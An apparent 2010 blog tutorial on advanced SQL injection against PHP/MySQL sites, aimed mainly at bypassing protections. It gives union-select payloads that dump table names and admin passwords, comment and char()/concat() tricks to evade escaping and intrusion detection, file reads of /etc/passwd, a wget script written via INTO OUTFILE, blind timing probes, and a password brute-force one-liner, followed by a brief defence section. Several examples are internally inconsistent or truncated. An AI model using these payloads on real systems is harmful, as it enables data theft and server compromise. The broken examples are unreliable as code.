Wednesday, April 28, 2010

Sql injection - You are still vulnerable

SQL injection has been around for some time now. Doing a quick Google search will result in hundreds of articles on the basics. Although this article explains the basics, it is geared towards advance techniques.

The examples in this text will be using MySQL and php5. Almost all examples will work on different databases and/or programming languages. Some will not work in PHP. I am not responsible for what you do with your new knowledge.

NOTE: There is a good chance the below exploit examples below will not work. I will explain after this section.

I will start by creating a test table we can play with. Feel free to use your own.

--- The Basics ---


create database sqltest;
use sqltest;
create table users (id int,fname char(40),lname char(40),comment text);
insert into users values (0,"chris","tree","test account");
insert into users values (1,"mike","rally","friend account");
insert into users values (2,"jim","Washington","");

PHP EXAMPLE test.php:


$query = mysql_query("select fname,lname from users where fname='$_REQUEST[fname]';");


echo "$row[0] $row[1]";



URL : test.php?fname=chris
SQL QUERY : select fname,lname from users where fname='chris';

Above is some sample PHP code and SQL for the program test.php. It takes one argument named fname. fname gets input from the user and then runs a query that returns the results.

test.php?fname=chris will return the user info for chris.
SQL QUERY : select fname,lname from users where fname='chris';
test.php?fname=jim will return the user info for jim.
SQL QUERY : select fname,lname from users where fname='jim';

What a SQL injection does is alters the query statement to make your own evil query run. This can be to bypass a user login or dump all the credit card numbers out of a database. Lets look at some examples.

test.php?fname=chris" or 1=1 or "

This will dump all the users from the database. What's with the " or 1=1 or " ? Because this script is vulnible, we can replace the original query with our evil one and change the results. 1=1 is a true statement. So chris" or 1=1 or " asks SQL to look for a user that has a first name fof chris or 1=1 ( true ) , so it just dumps everything because 1=1 is true. Look for chris or true. The ending or " just makes the command complete.

QUERY : select fname,lname from users where fname="chris" or 1=1 or "";

Another example

test.php?fname=chris" and cnt>1 --\
QUERY : select fname,lname from users where fname="chris" or 1=1 and id>1 --;

The above asks the database for all users with the first name chris, and that there id must be over 1. The -- at the end tell SQL to ignore everything else.

Thats the basics of SQL injection. We can now control the database and extract our data. Before you quit your day job to hack the world, let it be known that these hacks have been around for awhile. Security procedures have been put into place, this paper is about how to bypass those protections.

-- Magic quotes ---

Starting with PHP4. A feature called magic quotes was added. What this does is it puts a cancel character before single or double quotes. This makes it "almost" ( keyword here ) impossible for you to exit out of a normal query to run your exploit. Most PHP installs enable this by default.

Another common protection is to use regular expressions to find special characters and either replace or remove them.

Both these methods do NOT protect from SQL injection. Sorry, it's not personal.

Here are some examples of magic quotes.

test.php?fname=chris" or 1=1 or "
QUERY : select fname,lname from users where fname="chris\" or 1=1 or \"\";

The above example will not work because the escaped quotes make this a invalid query.

Regular expression example

$clean_string = preg_replace("/[^a-zA-Z0-9s]/", "", $_REQUEST[fname]);

echo "$clean_string";


test.php?fname= chris or 1=1
Results ; chris or

The above code replaces all special chars with a NULL charator. This blocks some hacking attempts, but not all.

--- The good stuff ---

Ok, we are done with the basic stuff. Now we can move on to what this text is about, bypassing protection. Lets get to it!

First lets talk about integers. This is a very common sight on a website.


QUERY : select fname,lname from users where id=1;

What's wrong here ? Well, the argument that PHP gets does not have quotes around it. ( integers most the time are quoteless ) It has no special characters in the string so both magic quotes and/or regular expressions are not protecting here. This is all fine and dandy till someone exploits this.

Let's give it a try.

test.php?id=1 union select null,TABLE_NAME from information_schema.TABLES;
QUERY : select fname,lname from users where id=1 union select null,TABLE_NAME from information_schema.TABLES;

That just dumped all the table names in Mysql, with magic quotes enabled ! I can explain

Mysql has a default database which it stores information in. One of the tables has all the table names in it. What we are doing here is running a union query to look for an id that starts with 1 and then dumps the table names. What's with the null you may ask yourself ? When you do a union command your column numbers have to match and because the first query dumps fname and lname we have to match TABLE_NAME with another column so they are the same column value. Null does nothing but makes are query work. If you have a query that spits back 3 columns then we would have to add another null or Mysql will return an error and are exploit probably will not work.


QUERY : select fname,lname,id from users where id=1 union select null,null,TABLE_NAME from information_schema.TABLES;

Now we know the table names the database has we can use the union query to dump the data we want, using the information_schema database for a nice map of SQL. Another example with admin passwords.

QUERY : select fname,lname,id from users where id=1 union select null,null,passwords from admins;

The above example would dump all admin passwords if a table named admins existed , ( and of course stored passwords in a column names passwords )

--- Char fun ---

Another feature Mysql and other databases have is the option to use char and/or the ASCII code to use a character. A great way to get around protection, I must say.

chris in ASCII = 99 104 114 105 115;

test.php?id=1 union select * from users where fname=concat(char(99),char(104),char(114),char(105),char(115));

Why would you want to do this ? Many web servers run IDS ( intrusion detention systems ) which scan for target words like union. By using ASCII this may bypass that alert. But the big issue here is there is no quotes being used. No magic quotes baby !

--- A Quick comment ---

Who would of thought that comments could be a security risk? Well in SQL they are. The problem with SQL is you can comment out parts of the query which makes it great to elevate your access.

Say you have access to a website but only have selected access to certain areas. A web developer would probably code something similar below.

PHP Example : group.php


$query = mysql_query("select * from pages where cnt>$_REQUEST[id] and canview="yes" and groups=$_REQUEST[groups]");


echo "Your group has access to.


echo "$row[0] $row[1]";



SQL QUERY : select * from users where id=10 and canview="yes" and groups=5;

The user can only view pages that have the canview option set to yes . To bypass this protection all the cracker would have to do is comment out the canview option.

group.php?id=10/*&groups=*/ or 5=5;
SQL QUERY : select * from users where id=10 /* and canview="yes" and groups= */ or 5=5;

The above example works because the query that looks for canview="no" is commented out. So SQL skips it all together. The or 5=5 just makes the query a true query, without it, the query would not run because it's invalid.

--- Concat Function ---

The concat function is very useful in your hacking activities. What it does is it puts two strings together. This is very useful to bypass IDS alerts. And to get around magic quotes.

Query : select * from users where name = concat("H","A","C","K","E","R");

The above example query would select * from users where name="HACKER";

You can also use ASCII numbers in place of chars.

Query : select * from users where name = concat(char(99),char(104),char(114),char(105),char(115));

--- Fun With I/O ---

Mysql has the option to read and write to files. If you can read and write files on the system, there is a good change you can compromise the box. These next functions will only work if you are running as root. A good way to tell is just select the user function.

Query : select user() from information_schema.TABLES;

This will spit out the user that mysql is running. Now lets try and read a file on the system. How about /etc/passwd.

For this to work, you will have to find a table that can handle the data. Using the old union select trick, you can get a list of table names you can work with.

Query : select null from users where cnt=1 union select TABLE_NAME from information_schema.tables;

Because we want to print the /etc/passwd file that has 7 columns. We need to find a table that also has that many columns. If not, then not all the data
will show.

For this example I created a table myself instead of finding one. I'm cheating, sue me.

Query : create table testtest (a text,b text,c text,d text,e text);

And to load the file all we would do

Query : LOAD DATA INFILE '/etc/passwd' into table testtest fields terminated by ":";

Now are data is in testest we can view it.

Query : select * from testtest;

As you can see, we just read a file on the box. Beautiful

mysql> select * from testtest;
| a | b | c | d | e |
| root | x | 0 | 0 | root |
| daemon | x | 1 | 1 | daemon |
| bin | x | 2 | 2 | bin |
| sys | x | 3 | 3 | sys |
| sync | x | 4 | 65534 | sync |
| games | x | 5 | 60 | games |
| man | x | 6 | 12 | man |
| lp | x | 7 | 7 | lp |
| mail | x | 8 | 8 | mail |
| news | x | 9 | 9 | news |
| uucp | x | 10 | 10 | uucp |
| proxy | x | 13 | 13 | proxy |
| www-data | x | 33 | 33 | www-data |
| backup | x | 34 | 34 | backup |
| list | x | 38 | 38 | Mailing List Manager |
| irc | x | 39 | 39 | ircd |
| gnats | x | 41 | 41 | Gnats Bug-Reporting System (admin) |
| nobody | x | 65534 | 65534 | nobody |
| libuuid | x | 100 | 101 | |
| syslog | x | 101 | 102 | |
| klog | x | 102 | 103 | |
| landscape | x | 103 | 65534 | |
| messagebus | x | 104 | 109 | |
| postfix | x | 107 | 116 | |
| puppet | x | 105 | 113 | Puppet configuration management daemon,,, |
| quagga | x | 109 | 121 | Quagga routing suite,,, |
| sshd | x | 106 | 65534 | |

Now that we have read a file it's time to write one. When we write a file to the system, the owner of that file is the same as the process that mysql is running as. In most cases it's mysql. Being able to write to a file as mysql will not compromise the box by itself. But system admins make mistakes all the
time. A simple mistake could spell disaster.

test.php?run.php?test=1; select a,b,c,d,e from testtest into outfile '/tmp/' fields terminated by ':';

The above query writes the same /etc/pass to /tmp/

You could use another injection to write a evil script. The one below uses the wget command to download a file on the server. If the
user ran ./tmp/, they would download the file.

Query : select * from users; insert into testtest (a) values ("#! /bin/bash");
Query : select * from users; insert into testtest (a) values ("wget");
test.php?run.php?test=1; select a from testtest into outfile '/tmp/';

Nice !

A couple side notes about this. The above examples will not work with PHP. PHP only lets you run a single query command. This example works in Oracle.
Also it is not very easy to run infile and outfile stringed together with another command.
If you get creative. And with a little luck, this could be very dangerous.

--- Going blind ---

Most injections are on websites, most admins turn off error messages ( not all ). The first thing to look for in a SQL injection is to make sure it's possible. The benchmark function is a great way.

index.php?id=1 union SELECT BENCHMARK(10000000,MD5('A'));

Depending on the system, this will take about 17 seconds. Why would you want to do this ?

If it takes about 20 seconds to return the page you know the benchmark function ran. If that function ran there
is a good chance other ( or all ) injections are possible. Not all site's are vulnerable.

Another one I enjoy is to increment a number argument ( make sure the page changes ) If this is possible then you
know you can exploit the page. Example


Loads one page


Loads another

You could try something like index.php?id=1 or 1=1 , or index.php?id=1 or 1=1 and id<>1. The first ask SQL to return
any user with a id of 1 or true ( dump the whole thing). The second does the same and does not show the result if the id=1 , a great way to narrow down your search.

--- Protection ---

What SQL article would be complete without protection against injection ? Very simple. VALIDATE ALL USER INPUT. Never
ever trust user input. Also be careful with hidden fields, make sure you clean those too. Even though there are ways
around it, I would recommend magic_quotes to be turned on ( can't hurt anything to add a protected wall ).

By far the best way is to select against a predefined list of queries. Do not allow the user to add to the query. In
PHP if you are going to use a intager, put a (int) in front of the POST,GET or REQUEST function. This will
make PHP see all your input as a number and prevent exploitation. Of course you can
also make all your numbers around quotes but this may be a issue later.

Secure PHP intager example


$getid = (int)$_REQUEST[id];

echo "You entered $getid";


Very secure with predefined querys.

$getid = (int)$_REQUEST[id];


case 1: $query="select * from users where id=1"; break;
case 2: $query="select * from users where id=2"; break;
case 3: $query="select * from users where id=3"; break;
default: $query="select * from users where id=1"; break;


$get_query = mysql_query($query);


Above there is no way to hack this, if the attacker added there own code it would just produce a number and default to the
id=1 option.

--- Remote exploitation ---

Mysql runs on port 3306. A lot of the protection that PHP offers is completely bypassed if the mysql daemon is insecure.
Do not run mysql open to the world where anybody can connect. If someone cracks your password and connects to the SQL client, there is a good chance they can root the box. Make sure your password is secure ! A simple brute force program can gain access in a couple hours with a weak password. This should not matter because outside access should be disabled in
the first place !

Quick and dirty example. ( This could also work with a little tweaking remotely )

Download a list of words from the Internet and store them in pass.

Run this one liner . sh # for a in `cat pass`; do mysql -uroot -p$a; done;

This will loop through all the words in the pass file till mysql establishes a connection.

Yep, that easy. Thats why a good password is important.

--- Conclusion ---

Well we have been over most advanced SQL injection techniques. With a little
practice and a little lucky you are on your way to becoming a SQL injection expert. Have fun and stay legal.